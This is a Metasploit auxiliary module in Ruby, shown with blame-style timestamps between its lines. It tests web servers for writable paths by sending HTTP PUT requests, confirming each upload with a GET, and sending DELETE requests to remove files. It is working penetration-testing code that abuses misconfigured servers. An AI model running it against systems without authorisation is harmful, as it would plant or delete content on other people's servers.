2007-04-24 06:27:39 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-04-24 06:27:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-04-24 06:27:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-04-24 06:27:39 +00:00
|
|
|
# Exploit mixins should be called first
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::WMAPScanDir
|
2007-04-24 06:27:39 +00:00
|
|
|
# Scanner mixin should be near last
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
2009-11-26 20:39:15 +00:00
|
|
|
include Msf::Auxiliary::Report
|
2007-04-24 06:27:39 +00:00
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'HTTP Writable Path PUT/DELETE File Access',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => %q{
|
2010-05-04 23:09:32 +00:00
|
|
|
This module can abuse misconfigured web servers to
|
|
|
|
upload and delete web content via PUT and DELETE HTTP
|
|
|
|
requests.
|
2007-04-24 06:27:39 +00:00
|
|
|
},
|
2010-05-04 23:09:32 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Kashif [at] compulife.com.pk',
|
|
|
|
],
|
2007-04-24 06:27:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
['PUT'],
|
|
|
|
['DELETE']
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'DefaultAction' => 'PUT'
|
2007-04-24 06:27:39 +00:00
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-04-24 06:27:39 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PATH', [ true, "The path to attempt to write or delete", '/http_write.txt']),
|
2011-02-04 05:57:26 +00:00
|
|
|
OptString.new('DATA', [ false, "The data to upload into the file", 'blahblah']),
|
2007-04-24 06:27:39 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Test a single host
|
|
|
|
def run_host(ip)
|
|
|
|
|
2009-03-28 17:45:14 +00:00
|
|
|
target_host = ip
|
|
|
|
target_port = datastore['RPORT']
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-04-24 06:27:39 +00:00
|
|
|
case action.name
|
|
|
|
when 'PUT'
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
2007-04-25 02:51:49 +00:00
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'method' => 'PUT',
|
2007-04-24 06:27:39 +00:00
|
|
|
'ctype' => 'text/plain',
|
|
|
|
'data' => datastore['DATA']
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
return if not res
|
|
|
|
if (res and res.code >= 200 and res.code < 300)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-19 00:02:54 +00:00
|
|
|
#
|
|
|
|
# Detect if file was really uploaded
|
2010-04-30 08:40:19 +00:00
|
|
|
#
|
|
|
|
|
2009-10-19 00:02:54 +00:00
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'method' => 'GET',
|
|
|
|
'ctype' => 'text/html'
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
return if not res
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
tcode = res.code.to_i
|
2009-10-19 00:02:54 +00:00
|
|
|
|
|
|
|
if res and (tcode >= 200 and tcode <= 299)
|
|
|
|
if res.body.include? datastore['DATA']
|
|
|
|
print_status("Upload succeeded on #{wmap_base_url}#{datastore['PATH']} [#{res.code}]")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-11-25 06:08:28 +00:00
|
|
|
report_note(
|
2009-11-26 20:39:15 +00:00
|
|
|
:host => ip,
|
2011-02-04 01:54:32 +00:00
|
|
|
:proto => 'tcp',
|
2011-02-22 20:49:44 +00:00
|
|
|
:sname => 'HTTP',
|
2009-11-25 06:08:28 +00:00
|
|
|
:port => rport,
|
|
|
|
:type => 'PUT_ENABLED',
|
|
|
|
:data => "#{datastore['PATH']}"
|
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-19 00:02:54 +00:00
|
|
|
end
|
|
|
|
else
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Received a #{tcode} code but upload failed on #{wmap_base_url} [#{res.code} #{res.message}]")
|
2009-10-19 00:02:54 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
2007-04-24 06:27:39 +00:00
|
|
|
else
|
2011-07-15 15:33:35 +00:00
|
|
|
vprint_error("Upload failed on #{wmap_base_url} [#{res.code} #{res.message}]")
|
2007-04-24 06:27:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2010-04-30 08:40:19 +00:00
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
2007-04-24 06:27:39 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-04-24 06:27:39 +00:00
|
|
|
when 'DELETE'
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
2007-04-25 02:51:49 +00:00
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'method' => 'DELETE'
|
2007-04-24 06:27:39 +00:00
|
|
|
}, 10)
|
|
|
|
|
|
|
|
return if not res
|
|
|
|
if (res and res.code >= 200 and res.code < 300)
|
2009-03-28 17:45:14 +00:00
|
|
|
print_status("Delete succeeded on #{wmap_base_url}#{datastore['PATH']} [#{res.code}]")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-11-26 20:39:15 +00:00
|
|
|
report_note(
|
|
|
|
:host => ip,
|
2011-02-04 01:54:32 +00:00
|
|
|
:proto => 'tcp',
|
2011-02-22 20:49:44 +00:00
|
|
|
:sname => 'HTTP',
|
2009-11-26 20:39:15 +00:00
|
|
|
:port => rport,
|
|
|
|
:type => 'DELETE_ENABLED',
|
|
|
|
:data => "#{datastore['PATH']}"
|
2009-03-28 17:45:14 +00:00
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-04-24 06:27:39 +00:00
|
|
|
else
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Delete failed on #{wmap_base_url} [#{res.code} #{res.message}]")
|
2007-04-24 06:27:39 +00:00
|
|
|
end
|
|
|
|
|
2008-11-11 05:12:52 +00:00
|
|
|
rescue ::Rex::ConnectionError
|
2010-04-30 08:40:19 +00:00
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
2007-04-24 06:27:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2008-11-10 04:38:05 +00:00
|
|
|
end
|